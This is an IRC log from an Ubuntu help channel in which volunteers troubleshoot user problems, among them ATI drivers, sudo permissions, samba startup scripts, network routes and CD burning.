AristoMagnusNg: ok ;) thanks08:52
NoUseoceandead add uid=<your username>08:53
ompaulMadeye, lots of programs do that - what ascii does it display?08:53
oceandeadoh doh i need a guid/uid -  dont i08:53
oceandeaddarn08:53
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slibsis there a way to start x-chat so, that it won't close if i restart the x-server? (like i can run screen irssi)08:54
Ngslibs: not without an irc proxy08:54
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slibsok08:54
zenroxslibs, thare is a cli xchat08:54
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billytwowillywtf is going on with the free webcam sex spamming?08:55
Ngslibs: I used to use dircproxy so I could connect with xchat when I was at my machine, or irssi when I was ssh'd in remotely08:55
NoUse!tell billytwowilly about spam08:55
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slibsNg, well im using irssi and x-chat :) (don't ask why i use both)08:55
billytwowillythat's not really that descriptive...08:55
Gnonthgoldoes anybody know how to use dhcp client on tho interfaces with difrent send dhcp-client-identifier?08:55
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NoUsebillytwowilly actually its very discriptive, it tells you exactly what to do08:56
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NgGnonthgol: can you encase them in separate interface config sections?08:57
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GnonthgolNg: I tryed like "interface "etc0" {"08:58
billytwowillyNoUse, I know what to do, I was curious what was being done about it.08:59
Torteli need help08:59
Bad_Magicanyone have a complete noobs guide to installing ubuntu handy? =P08:59
XRangedoes anyone have a Minolta 2430 DL working in Ubuntu with evolution. mozilla-firefox ?08:59
NoUsebillytwowilly I don't know08:59
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Torteli made it so i can login as root, and now i cant use sudo, or change options08:59
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Dr_Willishow did you 'made it so...' ?09:00
Ebowleshowdy, I'm currently on an i686 kernel, is there to go to i386?09:00
t1mis there an easy way to convert non-utf filenames in utf8 filenames?09:00
t1mutf8migrationtool doesn't work for me09:01
NoUseEbowles I'm not sure I understand your question09:01
NoUseTortel how did you allow root login?09:01
EbowlesNoUse, I've read that in order to get my ati working with 3d acceleration, I need to be on i386, but I have i686 right now09:01
Torteli think the option to allow root login is on the users settings09:02
NoUseEbowles I don't think thats right, I think they are referring to the general i386 architecture09:02
NoUse!ati09:02
ubotuextra, extra, read all about it, ati is https://wiki.ubuntu.com/BinaryDriverHowto/ATI09:02
Tortelbut i cant acess it anymore09:02
Subson1xi tried to install mp3 support for amarok as described at http://www.ubuntux.org/node/32, but apt-get said gstreamer0.8-mad not found. what do i do wrong?09:02
NoUseTortel allowing root login wouldn't be in user settings09:02
EbowlesNoUse, when I try to install the ati drivers, I get this  Unable to determine a compatible system architecture09:02
EbowlesThe ATI Linux drivers only support AMD64 or X86 I38609:02
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t1mdoes this mean I am forced to rename hundreds of files by hand? :/09:03
Dr_Willisi just use 'sudo passwd' to enable root to login - have had no ssues with that.09:03
Tomcat_Ebowles: That's the architecture... i386 and i686 are the same architecure - both 386.09:03
Dr_Willist1m,  thers proberly some perl modules/scripts out to do what you need.09:03
Ebowlesso why doesn't it work?09:03
NoUseEbowles what kind of machine are you on?09:03
Ebowlesits a 3.06 p409:03
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NgSubson1x: look at the RestrictedFormats wiki page09:03
nessmuk!broken bios09:04
ubotunessmuk: Are you on ritalin?09:04
Ngt1m: tried googling?09:04
nessmuk!bios09:04
ubotuBugger all, i dunno, nessmuk09:04
Subson1xng: thx09:04
nessmuk!flash09:04
ubotuhmm... flash is at https://wiki.ubuntu.com/RestrictedFormats09:04
NoUseEbowles have you read the ATI Wiki page?09:04
nessmuk!flash bios09:04
ubotunessmuk: Are you smoking crack?09:04
GnonthgolOfftopic: (20:56:23) Madpilot: Opera is indeed giving away free reg - http://my.opera.com/community/party/09:04
EbowlesNoUse yes, I've tried almost everything09:05
Ngnessmuk: you generally can't flash bioses from within linux09:05
nessmuk!<flash bios>09:05
ubotuWish i knew, nessmuk09:05
t1mNg: it thought there might be a way to get utf8migrationtool to work since it's a special ubuntu software09:05
TortelNoUse Tortel allowing root login wouldn't be in user settings <- I think there is a option under the advanced options09:05
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Bad_Magic^^09:05
Bad_Magicwish me luck09:05
Bad_Magic=x09:05
Tortelbut the problem now is that i cant acess that09:05
Tortelor use sudo09:05
NoUseTortel my point is that would be a system wide setting, so you should able to change it no matter who you are09:05
nessmukdo "broken bios" errors mean a problem with Hoary cd, or that we do need to flash the bios09:05
Ngt1m: I've not come across it, but I bet there are people out there working with unicode filenames who have scripts. failing that it might be quicker to write a perl script or something than do them by hand09:06
NoUseEbowles which step is it failing on?09:06
Ebowlesthe first09:06
Ebowlesthats what it says as soon as I run it09:06
Ngnessmuk: do you have a little more detail about the mesaage?09:06
NoUseEbowles so apt-get fails?09:06
XRangedoes anyone have a Minolta 2430 DL working in Ubuntu with evolution. mozilla-firefox ?09:06
EbowlesI'm doing sudo sh ati_install.sh09:06
Ngnessmuk: I take it you're getting this before even installing?09:06
NgXRange: have you set the printer up in the Printing administration tool? do test pages from there work?09:07
nessmukEbowles....yes....I can dig it up for you. Pretty common bios error that shows in a _lot_ of install probs....in google09:07
NoUseEbowles you aren't looking at the ATI wiki page09:07
NoUse!tell Ebowles about ati09:07
NgXRange: (I am right that the 2430 DL is a printer, right? ;)09:07
EbowlesNoUse, I've done those steps, they don't work for me09:07
nessmukNg...yes...it grows until I can't even access the bios09:07
NoUseEbowles which of these steps doee it fail on?09:07
Ebowlesnone09:08
XRangeyes I have and it works for OpenOffice but not in evolution are firefox09:08
EbowlesI can do them all perfectly09:08
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Ebowleshowever, I still don't have 3d acceleration09:08
Loki_VAhi people09:08
CarlFKshould I be concened that System, Netwoking, Modem, Autodetect finds my pci modem, but pppconfig doesn't?  (like is this some goofy modem, or bad rights, etc)09:08
NgXRange: ah, that's odd. does it print anything at all?09:08
Tortelwhen i try and use sudo, it says "sudo: /ect/sudoersis mode 0775, should be 0440"09:08
Loki_VAhas anyone got macosx installed on ubuntu sucessfully?09:08
XRangejust test page and anything in OpenOffice09:08
TortelooooH!09:08
Torteli know!09:08
Loki_VAfor some reason the installer wont pick up my disk image to install to09:08
Tortellol09:08
NoUseEbowles don't know what to tell you09:08
Loki_VAi have been following..: http://pearpc.sourceforge.net/installmacos.html09:09
XRangeNg: it just want work for me in firefox are evolution09:09
NgXRange: hmm, I'm not sure to be honest :/09:09
thoreauputicLoki_VA: not exactly - I use mac-on-linux on a dual boot iBook G409:09
Loki_VAthoreauputic, nice09:09
thoreauputicLokeDK: ah pearpc - dunno09:09
NoUseEbowles if you want to paste you xorg.conf file to pastebin I'll look at it09:09
Loki_VAyeah the mac cd starts but cant find my disk.img09:10
Loki_VAi have set it all in the conf...09:10
t1myes, that did it: convmv --notest -r -f latin1 -t utf-8 *09:10
EbowlesNoUse http://www.linuxquestions.org/questions/showthread.php?s=&postid=182681609:10
Ebowlesthe last post09:10
XRangeNg: is there a channel that migt be more up todate on this09:10
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Loki_VAactually scratch that.. woot! found it ;)09:10
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NoUseEbowles  you sure you sent me the right link?09:11
Madpilothi09:11
EbowlesNoUse, whats wrong with it?09:11
Loki_VAthis should be interesting..09:11
NoUseEbowles it has nothing to do with video drivers09:11
XRangeis there a linux printer channel are cups channel09:11
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MadpilotXRange: www.linuxprinting.org09:12
Ebowlesuhhhh...09:12
Ebowles!pastebin09:12
ubotuit has been said that pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl09:12
EbowlesNoUse, I put it in pastebin09:13
OneSeventeenI recompiled my linux kernel and now I cannot see the console (everything is black) but X starts, gdm runs just fine and I'm able to use the machine very well...09:13
OneSeventeenis there a way to get the console to display again?09:13
XRangei have read most docs all said openoffice would print but nothing on evolution are firefox09:13
OneSeventeen(is this a comon problem?)09:13
Loki_VAdoes anyone know the minimum size for a macosx install disk?09:13
Loki_VAi know this is waaay off topic..09:13
NoUseEbowles and if you run lsmod you see fglrx?09:13
MadpilotXRange: check the linuxprinting forums? (and the Ubuntu ones, too...)09:14
Ebowlesfglrx                 229568  009:14
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sartashey hey?09:14
NoUseEbowles you have an nforce2 chipset?09:14
Ebowlesum, how do I check?09:15
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sartasi want some help to set up Bitlbee on Ubuntu. I havent got ANY experience of Bitlebee09:15
sartas=)09:15
NoUseEbowles lspci09:15
deflux-I just installed ubuntu, but it didn't ask for a root password.09:15
NoUseEbowles also, did you run through the troubleshooting section of the wiki?09:15
_syd__ if i have a hard drive in the machine, and boot from the live cd, how do i view the files from the hard drive ?09:15
deflux-Is there a default root password for ubuntu when it's freshly installed?09:15
EbowlesNoUse, yes09:15
Blissexdeflux-: no.09:15
sartasi want some help to set up Bitlbee on Ubuntu. I havent got ANY experience of Bitlebee09:16
sartas=)09:16
thoreauputicOneSeventeen: check your /etc/inittab  - I think you need some tty entries09:16
sartasPM me ^09:16
sartas*^^09:16
OneSeventeendeflux-: there isn't even a root account, as far as I know09:16
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NoUseEbowles yes to which?09:16
thrushdeflux-, root account is disabled09:16
Madpilotin other news:  the greatest browser known to humankind is giving away free registration for it's 10th birthday: http://my.opera.com/community/party/09:16
CarlFKthoreauputic - im sad.  I can run pon/off as both user and root, but it just returns to the promt, no modem action09:16
sartashey hey, help me please ^^09:16
anachronismCan someone recommend a mame-emulator for ubuntu, like with a gui? (thanks in advance)09:16
thoreauputicCarlFK: :(09:16
Blissexsartas: consider reading http://tinyurl.com/bz8v4 on how to ask questions...09:16
EbowlesNoUse, yes to doing the troubleshooter09:16
thoreauputicCarlFK: serial external modem?09:16
EbowlesNoUse, I don't see any nforce2 in there09:16
lazzerwhen i create a custom kernel i get devfs: unknown filesystem.. where can i find devfs in the kernelconfig?09:16
CarlFKthoreauputic - no, internal ISA09:17
Madpilot!tell deflux- about root09:17
CarlFKthoreauputic, but I have an external that I will try09:17
NoUseEbowles ok, well check /var/log/xorg.0.log and see if there are any clues (errors are marked as EE)09:17
anachronismerm i meant "graphical front-end", not gui09:17
thoreauputicCarlFK: hmm - try the external and reconfigure with pppconfig09:17
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BrianDohey all09:17
BrianDoi have a serious problem09:17
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dreamiehello09:18
BrianDoi lost my grub boot disk for getting into my ubuntu install09:18
BrianDohow can i make a new one09:18
thoreauputicCarlFK: all hardware external serial modems work with linux09:18
BrianDoi cant get into it at all09:18
dreamiehow can i download a good dvd viewer for ubuntu09:18
OneSeventeenthoreauputic: it shows a list of 6 different items using getty to set up 6 different ttyp screens (or so it looks to a newbie like me)09:18
BrianDoso im on the live cd right now09:18
CarlFKthoreauputic - I was worried when pppconf didn't find the internal09:18
lazzercan someone help me on how to create a custom kernel.. that is bootable09:18
thoreauputicCarlFK: use the external and save yourself headaches09:18
BrianDoso im pretty stuck09:19
EbowlesNoUse, I found this (WW) fglrx: No matching Device section for instance (BusID PCI:6:0:1) found09:19
CarlFKthoreauputic - but it is only a 28k ;)09:19
Madeyeompaul, hmm How can I take screen shot of boottime?09:19
NoUse!kernelcompile09:19
ubotuYou will probably find info about this at http://wiki.ubuntu.com/KernelCompileHowto09:19
thoreauputicCarlFK: ah09:20
NoUseEbowles comment the BusID out of the Device section09:20
NoUseEbowles in your conf file09:20
dreamieany software for dvds?09:20
ompaulMadeye, well a camera - or if ou are running Xen / UML or VMware  but what kind of text does it output?09:20
anachronismdreamie, you could try the xine-ui package09:21
anachronismdreamie, can i pm you?09:21
EbowlesNoUse, okay, I should restart now?09:21
dreamieyes anachronism09:21
NoUseEbowles yeah09:21
Ebowlesk brb09:21
thoreauputicOneSeventeen: did you have a special reason for recompiling the kernel?09:22
BrianDoanyone09:22
Madeyeompaul, it just display Acsii text, and it's not drawing, it sounds like the asci is over the boot text, so I can see some of the boot text09:23
CarlFKthoreauputic - but this is just a test box to figure out how to get this working, so even a 300 would be fine09:24
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ompaulMadeye, without some of the text it could any one of thousands of programs09:24
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rcsarverhello. does anyone have problems with cd ripping speeds in ubuntu?09:25
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nessmukNg...Ebowles...I want to put the mobo back in to reproduce the09:25
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haasteemhi, i want to eject a cd from my cd-rom drive but it doesn't let me. It says that it's unable to elject media and that the device is busy... but it's not, how can i solve this problem?09:26
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NoUsehaasteem are you trying to eject it through gnome?09:26
haasteemuhhh... i think so, on the desktop09:26
Madeyeompaul, hmm ok it is in ubuntu repository that what i can remember09:27
NoUsehaasteem ok, open a console and run 'sudo fuser -v  /dev/cdrom' or whatever you CD-ROM device is09:27
nessmukNg...Ebowles...I want to put the mobo back in to reproduce the error, but have to figure out some cables...can't find where I wrote the error down. One question...is there an issue with the Hoary cd having probs with older bios or some cd drives?09:27
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ompaulMadeye, it is one of 16,000 programs one needs a little bit of a clue09:27
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haasteemNoUse, what does this do?09:28
NoUsehaasteem it shows you what program is using the drive09:28
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haasteemright09:28
EbowlesNoUse - still nothing09:28
NoUsewhat do the logs say?09:28
Madeyeompaul, indeed, i'm trying to find out how can I give a clue, is there anyway to list applications that run at bootup time ?09:29
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BrianDois there anyone here that can help me?09:29
Frafrawhat i must do for install the driver for a winmodem?09:29
haasteemNoUse, it gives no output...09:30
EbowlesNoUse (--) Assigning device section with no busID to primary device09:30
Ebowles(WW) fglrx: No matching Device section for instance (BusID PCI:6:0:1) found09:30
Hurgahaasteem: I have the same problem, on the command line09:30
NoUsehaasteem might just be something got screwed up, you might need to reboot09:30
kemikomg Breezy will truly rock09:30
asdxI have a user on ubuntu hoary. That user don't have to do administrative stuff. How can I configure for asking me the root password every time I open a root terminal for example?09:31
HurgaNoUse: BRB, rebooting09:31
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haasteemdarn09:31
NoUseEbowles google around, I'm not sure what that means, if you can pinpoint what BusID for that card is you can put it in your conf file09:31
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NoUseEbowles and I advice next time getting an Nvidia :-)09:31
asdxcan someone answer my question plz...09:32
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NoUse!anyone09:32
uboturumour has it, anyone is 90% of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and YOU decide? <hint>09:32
MadpilotNoUse: that's a great ubotu blurb, I'll have to remember it... ;)09:33
NoUseMadpilot ;-)09:33
jajcei am trying to install ubuntu intel536EP driver09:33
Madpilot!tell NoUse about ask09:33
CarlFKasdx - do you want the user to be able to do root things?09:34
Madpilotlater, everyone - got to go to work - in the rain - blah... ;)09:34
BOBNIXhello09:34
BOBNIXall09:34
asdxI just need to configure GNOME for asking my root password every time I need to do some administrative stuff09:34
Frafrajajce: i must install it :)09:34
BrianDoI can't seem to make a boot floppy from the Ubuntu Live CD so that I can reaccess my Ubuntu Partition. How would I go about doing that?09:34
asdxCarlFK: yeah09:34
BOBNIXhow to use webcam in ubuntu09:34
BOBNIXpls help me09:34
jajceand when I type: make install I get: unknown distribution. no boot scripts installed09:34
CarlFKasdx - add that user to /etc/suders09:34
jajceso, what can I do? ?09:34
asdxCarlFK: ko09:34
asdxCarlFK: ok09:34
asdxCarlFK: thx09:34
rcsarverhow do you speed up cdrom drives? my drive rips @ 2.5x!09:34
jajceNoUse  ?09:35
BOBNIXhelll all09:35
BOBNIXwho know how to use webcam in linux09:35
NoUsejajce I don't know09:35
BOBNIXhello09:35
BOBNIXhello09:35
BOBNIXhello09:35
BOBNIXhello09:35
NoUseBOBNIX stop09:35
jajceNoUSe : i know . i am kevac09:35
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Seveashe stopped09:35
NoUseSeveas haha09:36
Madeyeguys, how to list applications that run on bootup time /09:36
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NoUseis it moron day? I missed the memo09:36
SeveasMadeye, use bum or look at /etc/rc*.d09:36
puffAfternoon.  Is there anything I can do to speed up the boot up process on my laptop?09:36
SeveasNoUse, it's been moron day for a few days already (spambots)09:36
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Loki_VAhow do i manually set a dns in resolv that will stick from a dhcp setup.. ie in fedora i change the sysconfig for eth0 to have PEERDNS=no...09:37
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puffSeveas: Speaking of that, I'm an IRC newbie, but I remember the other day, when I connected, being advised to run some IRC command to keep the spambots away.09:37
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SeveasLoki_VA, /etc/dhcp3/dhclient.conf09:37
MadeyeSeveas, the first boot after grup loading is init 6? aka rc6?09:37
puffOH, there it is, in the topic:  /umode +CE09:37
Loki_VAthanx09:37
anacaonahello hello all.09:37
puffHm... *** umode: Unknown command09:37
Seveasmake sure it does not request domain-name-servers09:37
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anacaonai'm having problems with samba, an annoyance really.09:38
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Seveasand edit /etc/resolv.conf or add a line saying: prepend domain-name-servers your_servers_here09:38
Seveasto /etc/dhcp3/dhclient.conf09:38
anacaonait doesn't want to launch on boot, and i've tried to set it up in boot up manager and its not listed as a daemon.09:38
Seveaspuff, /mode puff +CE09:38
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ivoksanacaona: ls -dl /etc/rc2.d/*samba*09:39
puffSeveas:  Thanks.  Twice.09:39
puffSeveas: (Assuming the domain name server suggestion was in answer to my boot up question)09:39
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SeveasMadeye, no09:39
Seveasfirst runlevel is 1 (single user)09:39
puff(come to think of it, looks like that was answering Loki_VA's question).09:40
noobuntuI have a problem with Gnome: I installed kdebase (for Konquerer) and after a reboot Gnome no longer works -- GDM shows the login screen but after logging in all I get is a blank desktop with a cursor09:40
Seveassecond and final runlevel (on debian systems) is 209:40
Seveas0 is shutdown09:40
asdxCarlFK: I already added to /etc/sudoers but I get "Failed to run /usr/bin/x-terminal-emulator: Child process ended with state 1" or something.09:40
Seveas6 is reboot09:40
puffBut I've noticed it seems to hit a longish delay during bootup, right after/at the line about dhclient.09:40
Loki_VAall done thanx Seveas09:40
noobuntuEven safe-mode Gnome doesn't work ... only KDE and Safe Mode (xterm) work09:40
CarlFKasdx - um. then you did something wrong ;)09:40
cemcre09:41
Seveaspuff, yeah, it waits for a dhcp ack (or timeout)09:41
asdxCarlFK: I just added "user" at the end09:41
CarlFKasdx - yes, you did something wrong ;)09:41
asdxCarlFK: hrm09:41
CarlFKasdx - look at the existing lines09:41
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asdxCarlFK: ok :P09:41
asdxCarlFK: brb09:41
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anacaonaivoks:  /etc/rc2.d/K09samba -> /samba09:41
HurgaRe09:41
cemcquestion... if i create a hda1 primary partition, then an extended partition that's the max size of the remaining disk, it should stay that way, no?09:41
ivoksanacaona: see, that's not good... which ubuntu is that?09:42
cemcafter that i can create logical partitions in that extended area09:42
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noobuntuI'm running Ubuntu 5.04 -- is there an easy way to get back my Gnome desktop?09:42
suptongnome-vfs in hoary is killing me... anyone know a way to get gedit and other apps to open files on network volumes read/write?09:42
anacaonaivoks: i know, it looks like its killing samba on boot! hoary from dvd09:43
puffSeveas: So setting my DNS explicitly would help avoid that extra delay during boot.  Any other suggestions?09:43
FlangeRHi all, Q: I've tried getting my usb palm using directions from ubuntuguide, but thusfar no luck. Where can I get additional info on how to set it up?09:43
Seveaspuff, no that won't avoid that09:43
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HurgaIf I try to use cdrecord with my IDE CD writer, it hangs, can't get it back, need to reboot. Is that a known problem?09:43
cemcpuff: you need dhcp ?09:44
ivoksanacaona: sudo ln -s /etc/init.d/samba /etc/rc.2/S91samba09:44
puffSeveas: Drat.09:44
rcsarverexit09:44
puffcemc: Yeah, I'm on various networks throughout the day.09:44
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puffThough I prefer static configuration.09:44
anacaonathanks ivoks. any clue why it wasn't showing up in bum?09:45
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_syd__im booted from a live cd, how do i view my hard drives contents ?09:45
puffI'm still trying to figure out what's up with my disappearing and reappearing wireless...09:45
anacaona... or why the scripts were so weird?09:45
Seveasthoreauputic, around?09:45
hmrochahello09:45
anacaonaooh. almost forgot.09:45
thoreauputicSeveas: yup09:45
anacaonaivoks and anyone else who can help.09:46
ivoksanacaona: dont't know what bum is09:46
Seveasthoreauputic, CC meeting in 15 minutes :)09:46
thoreauputicSeveas: I'm in #ubuntu-meeting already :)09:46
anacaonaboot um manager, its a service gui.09:46
anacaonaboot up, sorry.09:46
thoreauputicSeveas: thanks for the reminder though :)09:46
anacaonaanother MAJOR annoyance.09:46
puffBasically, I upgraded my kernel, and then my wireless card disappeared.  After much puzzling, with advice from here and ##linux I did a --reinstall of the linux-image so my modules would match the kernel, and the wireless card reappeared after I rebooted.09:46
cemcany ideas, why this isn't working?: root@andi:/mnt # mount -t smbfs //172.16.21.1/stuff samba09:46
hmrochai have hundreds of users in the group "students", how can i add all of them to the group plugdev? (easily)09:46
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anacaonai'm running ubuntu on my fileserver.09:46
anacaonaand for some reason it refuses to be on the Internet and the local network at the same time.09:47
cemchmrocha: you edit /etc/groups ?09:47
_syd__cemc:  the space in 'samba stuff'09:47
puffAnd then I did suspend-to-disk, and resumed, and the wireless card disappeared again.09:47
cemchmrocha: /etc/group09:47
hmrochacemc, that would not be easy09:47
puffDid --reinstall and rebooted, it reappeared.  Went through the cycle one more to test.09:47
hmrochacemc, i'll have to add 1200 users after the word "plugdev"09:47
cemchmrocha: select+copy+paste?09:47
ivoksanacaona: ?09:47
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hmrochacemc, all users are stored in AD09:48
puffWhere do I enter a ubuntu bug?09:48
hmrochacemc, i can't copy paste09:48
anacaonaie, if i dial up i can't ping outside.09:48
cemchmrocha: i see... can you get a list of thouse users in a text file or something ?09:48
cemcthose*09:48
noobuntuhello, could anyone please help with my Gnome problem? My Gnome session just shows a blank screen with cursor; KDE and xterm sessions work09:48
cemchmrocha: then add it with a script09:48
ivoksanacaona: your routes get messed09:49
hmrochacemc, i can create a scripts that searches /home for all students09:49
cemc_syd__: that's mount -t type what where09:49
cemc_syd__: no?09:49
hmrocha*script09:49
puffAh, http://www.ubuntulinux.org/support/bugs09:49
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cemchmrocha: all the users in the /home you want to put in that group ?09:50
FlangeRAnyone know how I can get my usb-palm working if ubuntuguide's directions don't work?09:50
hmrochacemc, no, only the students, but i have a way of knowing which users are students09:50
cemchmrocha: so, you can create a text file, no ?09:51
cemchmrocha: with all the users in it09:51
hmrochacemc, yes, i think i can09:51
anacaonayeah, i tried to reset the default route but it doesn't work.09:51
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anacaonaroute add default ppp009:51
hmrochacemc, i just thought there would be a better way, instead of adding 1200 usernames in front of the plugdev group09:51
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HurgaIs someone here using cdrecord with Ubuntu?09:53
joachimaahi there. i wondering which package network-admin belongs to, since i'd like to update this to the hoary-version (i'm running warty). if that would be possible?09:54
cemchmrocha: try this:09:54
cemchmrocha: echo -n "plugdev: "; cat foo.txt | awk -v ORS=, '{print $1}' | sed s/,$//g09:54
cemchmrocha: where foo.txt contains the list of usernames09:54
cemcthen you do a >> /etc/group :)09:54
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hmrochacemc, cool one-liner :D09:54
Snadderhi.. how can I use debian apt archives for ununtu?09:55
NoUseSnadder you don't09:55
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hmrochacemc, awk '{print $1}' is not enough?09:55
SnadderI heard someone talking about "universe" and "multiverse" for that?..09:55
cemchmrocha: well, it's not the most sophisticated way, but it's working09:55
hmrochacemc, why the -v ORS=,09:55
SnadderNoUse, I heard it was possible.. but not recommended09:55
SnadderNoUse, all I want.. is more packages.. debian got lots more09:56
cemchmrocha: ORS = output record separator09:56
hmrochacemc, ok :)09:56
cemchmrocha: default that's a newline09:56
cemchmrocha: but you want ","09:56
hmrochacemc, yes, i understand09:56
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HappyFoolsnadder: take a look at the adding repositories page on the wiki09:57
HappyFool!tell snadder about repos09:57
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topylii just blogged about my breezy upgrade. perhaps someone might be interested in someone else's experience: http://www.livejournal.com/users/topyli/09:58
topyli(i'm not urging anyone to upgrade really)09:58
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wasabiAnybody successfully use evolution-exchange? I can't figure out how to set the thing up.09:58
smhi.. can anyone recommend a nice download manager that does http/ftp with resume ? other than gftp09:58
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wasabiit has no entry field for my exchange server info.09:59
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hmrochacemc, there should be a better way to handle this kind of thing09:59
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cemchmrocha: i'm sure there is, but i don't know any10:00
hmrochacemc, i just want all students to be able to automatically mount their usb disks10:00
NeoFaxsm: Do you mean like Flash-get?10:00
smI'm not sure10:00
smyes10:01
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cemcwhat's the name of that tool for enabling/disabling thing in rcX.d ?10:01
smI'd be happy if firefox simply resumed10:01
NeoFaxsm: Have you tried prozilla or d4x?10:01
cemcsm: wget -c ?10:01
smother than wget -c10:01
cemc:)10:01
ivokscemc: update-rc.d10:01
rob_pcemc:  update-rc.d10:01
smno, I'll check those10:01
NeoFaxI think you can even use Firefox's flashgot addin with d4x10:02
rob_p:-)10:02
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bimberism: another is "aria"10:02
kertratshey, I'm at a loss and about to sound stupid10:02
NeoFaxAlso, kget if you are using konqueror/kde10:02
kertratshow do I install a package if it's not listed in Synaptic?10:02
smglashgot, aria, kget, ok10:02
smflashgot10:02
smthanks all10:03
cemcivoks, rob_p: i want a process to not start on startup10:03
smisn't there a gnome one ?10:03
darkheart!tell kertrats about repositories10:03
cemcbut i don't want to remove the script entirely10:03
NeoFaxcemc: Have you tried bum?10:03
ivokscemc: rm /etc/rc2.d/*programname*10:03
NeoFaxSearch for it on the forums.10:03
rob_pcemc:  update-rc.d -f your_app remove10:03
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rob_pcemc:  The script will remain in /etc/init.d but will be removed from rcX.d10:04
cemcrob_p: the man says that the script /etc/init.d/*progname* should be removed first10:04
cemc" The10:04
cemc       script  must  have  been deleted already - update-rc.d checks for this."10:04
cemcif i understand it correctly10:04
rob_pcemc:  That's if you want to remove it entirely instead of just disabling it on startup10:04
NeoFaxcemc: Don't do that unless you want to remove the package and reinstall or re-write the script10:05
cemci don't want to do that,10:05
cemci just want to _disable_ it10:05
Kyral!php10:05
ubotu[php]  in the package libapache2-mod-php4 (apache) or php4-cli (command line)10:05
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cemcso that it wont run on next startup,10:05
Kyral...I meant on how to install it10:05
cemci thought there's a nicer way than rm :)10:05
unvs_ohh gnome 2.12 looks peachy10:05
rob_pcemc:  just use the update-rc.d tool then :-)10:05
unvs_*finally* real antialiasing with cairo10:06
NeoFaxcemc: rob_p and ivoks are correct, you just have to remove it from the inits you don't want it running.  BUM is a GNOME graphical SysV init editor.10:06
bimberi!bum10:06
ubotuextra, extra, read all about it, bum is a graphical BootUp Manager; see http://www.marzocca.net/linux/bum.html10:06
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ivokscemc: could it be nicer and easier than rm? :)10:07
NeoFaxThere is also KsysV for KDE10:07
cemcivoks: :)10:07
cemcroot@andi:/etc/rc2.d # update-rc.d -n samba remove10:07
cemcupdate-rc.d: /etc/init.d/samba exists during rc.d purge (use -f to force)10:07
cemc-f10:07
NeoFaxivoks: None nicer than cli goodness.10:07
cemcthat' sit10:07
cemcthat's it10:07
kertratsdarkheart, thanks10:07
LokeDKHi. http://ubuntuforums.org/showthread.php?t=61138 could anyone please help me?10:08
cemcrob_p: thx10:08
rob_pcemc:  np :-)10:08
cemcit's a bit strange this -f,10:08
cemcbut whatever :)10:08
NeoFaxFinally got Usplash working in breezy today.  Anyone know how to change out the default background?10:08
CPD|nons_hey, I got a question, how can I find out if my windows XP runs on a NTFS or a FAT partition?10:08
Ebowles!ati10:08
ubotuati is probably https://wiki.ubuntu.com/BinaryDriverHowto/ATI10:08
NeoFaxCPD|nons_: Wouldn't a parted tell you that?10:09
Hurgais reall no one here burning CDs??10:09
ivoksHurga: no, we burn DVDs10:10
CPD|nons_err? what do you mean10:10
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ivoksand for small date, we use floppy10:10
Hurgaivoks: so DVD burners don't hang when accessed with cdrecord?10:10
NeoFaxDo you have parted installed on your system?(I am assuming you are dual booting)10:10
ivoksHurga: first sound of cdrecord hanging10:11
ivoksHurga: never happend to me, what did you do?10:11
CPD|nons_I have nothing installed yet since I am following the FAQ and that say if NFTS -> do that, if FAT -> do this, so I first need to know which my system is formatted with10:11
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NeoFaxHurga: Try starting your burner from the cli, like graveman &.  It should give you some errors.10:11
Hurgaivoks: researchign the web, I found some who had the problem, no fix though10:12
HurgaNeoFax: I use cdrecoed as root on the command line. Gives some output, than hangs, need to reboot to get rid of the load10:12
ivoksHurga: reboot to get rid of the load?10:12
NeoFaxCPD|nons_: Grab a copy of KNOPPIX and check with that.  Or, boot into windows and check the filesystem by checking the properties of the C:\ drive10:13
ivoksso, you've been using linux for 3-4 days?10:13
Hurgaivoks: system load goes up to about 210:13
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CPD|nons_ah, thanks :)10:13
smkget almost works beautifully in gnome.. just can't drag from firefox10:13
ivoksHurga: so kill cdrecord then, don't reboot man :)10:13
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bobbydone of my ubuntu machindes no londer sets the defualt gateway, when I try to set it usinf the GUI configuration tool, it crashes, any ideas?10:14
Hurgaivoks: doesn't work.10:14
NeoFaxbobbyd: What does route say?10:14
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bobbydNeoFax, the defualt route isn't there, it works if I set it by hand10:14
Hurgaivoks: The device just gets stuck. Kernel bug I guess,10:15
ivoksHurga: sure it does... nothing escapes KILL signal10:15
bobbydNeoFax, can I just edit some config file by hand?10:15
Hurgaivoks: looks like you didn't deal with buggy device drivers a lot yet...10:15
mitzkriegnoob to linux, need help getting ati driver installed. tried following the wiki instructions but it didn't work10:15
NeoFaxHurga: Does cdrecord have the capability of setting the debug on the fly?  By that I mean try cdrecord --help and see if there is a switch to set debug from errors to maybe warnings as well.10:15
ivoks:)10:15
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ivoksright, just since '96.10:15
NeoFaxbobbyd: /etc/network/interfaces10:15
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bobbydNeoFax, thanks10:16
NoUsemitzkrieg can you paste your /etc/X11/xorg.conf and /var/log/Xorg.0.log to pastebin?10:16
NoUse!tell mitzkrieg about pastebin10:16
HurgaNeoFax: just tried -v so far, but there's indeed some debugging stuff. Trying.10:16
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SnadderHappyFool, which packages is in "universe"?10:16
chrismyhey ya..how so i run .bashrc?10:17
HappyFoolSnadder: "free" (as in freely licensed) software10:17
NeoFaxchrismy: What are you asking?10:17
Kakashi10ive got a problem with kde apps, they all freeze my xorg server after launching, someone could help?10:17
mitzkriegsays i don't have the /etc/Xll/xorg.conf when i try to troubleshoot. not sure how to navigate through the directories very well10:17
SnadderHappyFool, I meant.. compeard to which packages debian got?10:17
HappyFoolSnadder: there are a lot of packages; maybe look at packages.ubuntu.com10:17
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SnadderHappyFool, whats the benefit of using packages from universe?10:18
chrismyNeoFax, i have added alias into my ~/.bashrc. so how could i 'activate' what i have added?10:18
HappyFoolSnadder: much more choice10:18
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SnadderHappyFool, ah. ok.. thanks!:)10:18
IcemanV9chrismy: source .bashrc10:18
NeoFaxSnadder: Try doing a wget of the debian Packages.gz and diffing the files10:18
karljpanyone have a good link for setting up WPA?10:18
chrismyIcemanV9,  hey thanks man!10:18
chrismyit works!10:18
NeoFaxkarljp: Look for wpa_supplicant in the forums10:19
IcemanV9enjoy your new alias command. :)10:19
CPD|nons_if I resize my NTFS hdd like its said in the FAQs, will my original files be deleted or preserved?10:20
chrismyIcemanV9, hm not the first time though. i have forgotten the command :( i want to run blender10:20
NeoFaxCPD|nons_: If you have space left on the drive no10:20
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NeoFaxthey will be moved under the portion of the drive you resize NTFS too10:21
